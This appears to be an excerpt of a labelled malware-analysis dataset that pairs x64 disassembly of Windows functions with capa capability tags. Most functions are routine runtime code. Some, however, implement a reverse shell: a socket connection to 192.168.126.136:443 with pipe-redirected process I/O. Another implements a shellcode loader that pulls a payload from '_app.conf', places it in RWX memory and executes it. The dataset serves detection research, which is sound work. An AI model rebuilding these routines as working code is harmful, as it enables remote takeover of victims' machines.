joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400356a0
Capabilities:
Get session information
Get session user name

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x40
mov rbx, rcx
xor eax, eax
mov dword [rsp + 0x30], eax
mov qword [rcx], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 7
mov word [rcx], ax
xor r8d, r8d
lea rdx, [0x140089f98]
call fcn.140007cf0
mov dword [rsp + 0x30], 1
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
cmp eax, 0xffffffff
je 0x14003573f
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x60]
mov r8d, 5
mov edx, eax
xor ecx, ecx
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x14003573f
mov rdx, qword [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140035720
mov rcx, rbx
call fcn.140007cf0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
nop
mov rax, rbx
add rsp, 0x40
pop rbx
ret

Function at 0x1400545e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140054617
call fcn.14004d640
mov dword [rax], 0x16
call fcn.140053b94
xor eax, eax
jmp 0x1400546a5
mov rdx, r9
mov rcx, r8
call fcn.14005457c
mov rbx, rax
test rax, rax
je 0x1400546a2
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400544a8]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14005468f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14004d5b4
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140054676
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140054685
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14005fc40
jmp 0x1400546a2
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14005469f
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14005b4d0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14005b2cc

Function at 0x14005e098
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14005e0ae
mov al, 1
jmp 0x14005e10e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14005e0bf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14005e10c
mov ecx, dword [rcx + 0x18]
nop
call fcn.140068f88
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14005e10c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14005e10c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14005e10c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14005e10e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x140012360
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001123f
Capabilities:
Create pipe
Create thread
Create two anonymous pipes

Disassembly:
jmp 0x140016480
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x7e8], rax
lea rcx, [0x1400240f6]
call fcn.1400113e8
lea rax, [rbp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 8], 0x18
mov dword [rbp + 0x18], 1
mov qword [rbp + 0x10], 0
xor r9d, r9d
lea r8, [rbp + 8]
lea rdx, [0x14001e1b8]
lea rcx, [0x14001e1b0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rbp + 8]
lea rdx, [0x14001e1c8]
lea rcx, [0x14001e1c0]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r8d, r8d
mov edx, 1
mov rcx, qword [0x14001e1c8]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x140016548
lea rcx, str.Failed_to_set_input_pipe_information._n
call fcn.1400111d1
mov eax, 1
jmp 0x140016681
xor r8d, r8d
mov edx, 1
mov rcx, qword [0x14001e1b0]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x140016577
lea rcx, str.Failed_to_set_output_pipe_information._n
call fcn.1400111d1
mov eax, 1
jmp 0x140016681
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.140011320
mov dword [rbp + 0x70], 0x68
mov rax, qword [0x14001e1c0]
mov qword [rbp + 0xc0], rax
mov rax, qword [0x14001e1b8]
mov qword [rbp + 0xd0], rax
mov rax, qword [0x14001e1b8]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xac], 0x101
xor eax, eax
mov word [rbp + 0xb0], ax
mov qword [rbp + 0x538], 0
lea rax, [rbp + 0x794]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x794]
call fcn.140011fc0
mov rcx, rax
call fcn.140011460
mov qword [rbp + 0x538], rax
mov rcx, qword [0x14001e1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14001e1b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001100f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113b1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_connect
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x7e8]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x7f8]
pop rdi
pop rbp
ret
Function at 0x1400112c6
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
jmp 0x140011ae0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x978
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x196
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x998]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x948], rax
lea rcx, [0x1400240f6]
call fcn.1400113e8
mov dword [rbp + 4], 0x1bb
lea rax, str.192.168.126.136
mov qword [rbp + 0x28], rax
cmp dword [rbp + 0x970], 3
jne 0x140011b7c
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x978]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 4], eax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x978]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x50]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140011ba4
lea rcx, str.Error_initializing_Winsock._n
call fcn.1400111d1
mov eax, 1
jmp 0x140011c6e
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14001e1d0], rax
cmp qword [0x14001e1d0], 0xffffffffffffffff
jne 0x140011be4
lea rcx, str.Error_creating_socket._n
call fcn.1400111d1
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140011c6e
mov eax, 2
mov word [rbp + 0x208], ax
movzx ecx, word [rbp + 4]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x20a], ax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x20c], eax
xor eax, eax
cmp eax, 1
je 0x140011c54
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x208]
mov rcx, qword [0x14001e1d0]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140011c45
lea rcx, str.Error_connecting_to_server._n
call fcn.1400111d1
jmp 0x140011c52
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140011c54
jmp 0x140011c11
call fcn.14001123f
mov rcx, qword [0x14001e1d0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14001137a
mov rax, rdi
mov rcx, qword [rbp + 0x948]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x958]
pop rdi
pop rbp
ret
Function at 0x1400112d0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014aa0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014ac0
xor al, al
jmp 0x140014b41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014ad3
xor al, al
jmp 0x140014b41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014afd
xor al, al
jmp 0x140014b41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014b11
xor al, al
jmp 0x140014b41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014b23
xor al, al
jmp 0x140014b41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014b3f
xor al, al
jmp 0x140014b41
mov al, 1
add rsp, 0x38
ret
Function at 0x1800010c0
Capabilities:
Read file on windows

Disassembly:
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r15, rcx
lea r8, [0x18001b880]
lea rcx, [rsp + 0x20]
call fcn.180006e20
test eax, eax
jne 0x180001261
mov rcx, qword [rsp + 0x20]
lea r8d, [rax + 2]
mov qword [rsp + 0x60], rbx
xor edx, edx
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x48], rdi
call fcn.1800067e8
mov rcx, qword [rsp + 0x20]
call fcn.180006058
movsxd rbp, eax
mov rcx, rbp
call fcn.180007220
mov rcx, qword [rsp + 0x20]
mov rbx, rax
test rax, rax
je 0x180001288
mov qword [rsp + 0x78], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x40], r14
call fcn.1800067e8
mov r9, qword [rsp + 0x20]
mov r8, rbp
mov edx, 1
mov rcx, rbx
call fcn.180007158
mov rcx, qword [rsp + 0x20]
call fcn.1800064e0
movzx eax, word [0x18001b8b0]
lea r9d, [rbp - 4]
mov r11d, dword [str.HEAD:]
mov esi, 0xffffffff
mov r10d, dword [str.:TAIL]
mov edi, esi
mov word [rsp + 0x2c], ax
movzx eax, word [0x18001b8b8]
mov word [rsp + 0x34], ax
xor eax, eax
test r9d, r9d
jle 0x18000124e
movzx r8d, byte [rsp + 0x2c]
movzx edx, byte [rsp + 0x34]
movsxd rcx, eax
cmp dword [rcx + rbx], r11d
jne 0x1800011c5
cmp byte [rcx + rbx + 4], r8b
jne 0x1800011c5
lea esi, [rax + 5]
jmp 0x1800011d1
cmp dword [rcx + rbx], r10d
jne 0x1800011d1
cmp byte [rcx + rbx + 4], dl
je 0x1800011da
inc eax
cmp eax, r9d
jl 0x1800011b0
jmp 0x1800011dd
lea edi, [rax - 1]
cmp esi, 0xffffffff
je 0x18000124e
cmp edi, 0xffffffff
je 0x18000124e
sub edi, esi
inc edi
movsxd r14, edi
mov rcx, r14
call fcn.180007220
mov rbp, rax
test rax, rax
je 0x18000124e
movsxd rdx, esi
mov r8, r14
add rdx, rbx
mov rcx, rax
call fcn.180012570
mov rcx, rbx
call fcn.180006e78
mov rsi, qword [rsp + 0x78]
mov rax, r15
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x60]
mov dword [r15], edi
mov rdi, qword [rsp + 0x48]
mov qword [r15 + 8], rbp
mov rbp, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1800013f0
add rsp, 0x50
pop r15
ret
mov rcx, rbx
call fcn.180006e78
mov ecx, 1
call fcn.1800063b0
int3
mov r9d, 0x10
lea r8, [0x18001b884]
lea rdx, [0x18001b890]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call fcn.1800063b0
int3
call fcn.1800064e0
mov ecx, 1
call fcn.1800063b0
int3
Function at 0x1800012a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1800012f5
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x18001b884]
lea rdx, [0x18001b8c0]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov edx, 0x5c
lea rcx, [rsp + 0x40]
call fcn.1800010b0
test rax, rax
je 0x18000130c
mov byte [rax], 0
lea r8, str._app.conf
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.180006e8c
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.1800010c0
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
movups xmm0, xmmword [rax]
movd eax, xmm0
movups xmmword [rsp + 0x20], xmm0
movsxd rdi, eax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
movups xmm0, xmmword [rsp + 0x20]
psrldq xmm0, 8
movq rsi, xmm0
test rax, rax
jne 0x180001390
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, [0x18001b884]
lea rdx, [0x18001b8c0]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rsi
call fcn.180006e78
lea rdx, [rdi + 0x400]
mov r9, rdi
mov r8, rsi
mov rcx, rbx
call section..text
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180005e0c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180012010
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180007ff4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180005e5b
mov rax, rbp
jmp 0x180005f63
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1f3e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18000837c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x1f3e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180005f5f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180005f5f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18000837c
test rax, rax
js 0x180005f5f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180005f5f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180005f51
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180005f51
cmp byte [rcx], 0xd
jne 0x180005f37
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180005f46
cmp byte [rcx + 1], 0xa
jne 0x180005f46
inc rcx
jmp 0x180005f46
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1e310]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180005f19
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180005f63
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800013f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800063b0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180006263
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180006263
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180006263
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180006263
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180006263
cmp dword [rcx + 0x84], 0xe
jbe 0x180006263
cmp dword [rcx + 0xf8], 0
je 0x180006263
mov ecx, ebx
call fcn.180006314
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800060f0
nop
cmp dword [rbp + 0x20], 0
je 0x1800062b1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800062bc
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800061f4
Function at 0x180008bf0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18001f3e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180008c47
cmp word [rdx], r13w
jne 0x180008c47
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180008c4c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180008d71
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180008d92
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180008c85
mov rdx, r9
mov word [rbx], cx
jmp 0x180008cac
cmp r9, r8
jae 0x180008cbc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180008c66
jmp 0x180008d71
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180008d66
cmp dword [rsp + 0x80], esi
je 0x180008d66
lea r8, [0x18001f3e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180008d3e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180008d0e
mov word [rbx], r13w
jmp 0x180008d6e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180008d1b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180008d6e
cmp word [rsp + 0x70], r13w
jne 0x180008d4b
cmp rbx, r14
je 0x180008d08
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180008384
cmp word [rsp + 0x70], r13w
je 0x180008d71
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18001f3e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180008d6b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180008d71
Function at 0x18000c150
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000c180
xor eax, eax
jmp 0x18000c243
mov rbp, rbx
cmp word [rax], si
je 0x18000c1a5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000c18c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000c188
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000c070
movsxd r14, eax
test eax, eax
jne 0x18000c1e3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000c179
mov rcx, r14
call fcn.18000a60c
mov rdi, rax
test rax, rax
jne 0x18000c1fc
xor ecx, ecx
call fcn.180009978
jmp 0x18000c1d8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000c070
test eax, eax
jne 0x18000c22d
mov rcx, rdi
call fcn.180009978
jmp 0x18000c237
xor ecx, ecx
call fcn.180009978
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180010bcc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180008384
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180008384
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180010d1c
cmp rax, 0xffffffffffffffff
je 0x180010d1c
xor edi, edi
test rbp, rbp
jle 0x180010cc7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18000a66c
mov rbx, rax
test rax, rax
jne 0x180010c54
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180010cbd
mov edx, 0x8000
mov ecx, r14d
call fcn.180010a50
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18000e848
cmp eax, 0xffffffff
je 0x180010c9d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180010c64
mov edx, r15d
mov ecx, r14d
call fcn.180010a50
jmp 0x180010cbd
cmp byte [rsi + 0x38], dil
je 0x180010cb4
cmp dword [rsi + 0x34], 5
jne 0x180010cb4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180010cbd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180009978
jmp 0x180010d30
jns 0x180010d30
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180008384
cmp rax, 0xffffffffffffffff
jne 0x180010ce8
cmp byte [rsi + 0x30], dil
je 0x180010d30
mov edi, dword [rsi + 0x2c]
jmp 0x180010d30
mov ecx, r14d
call fcn.18000d440
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180010d30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180010d30
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180010d29
mov eax, dword [rsi + 0x2c]
jmp 0x180010d2e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180008384
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180011f20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180011f48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180011f48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret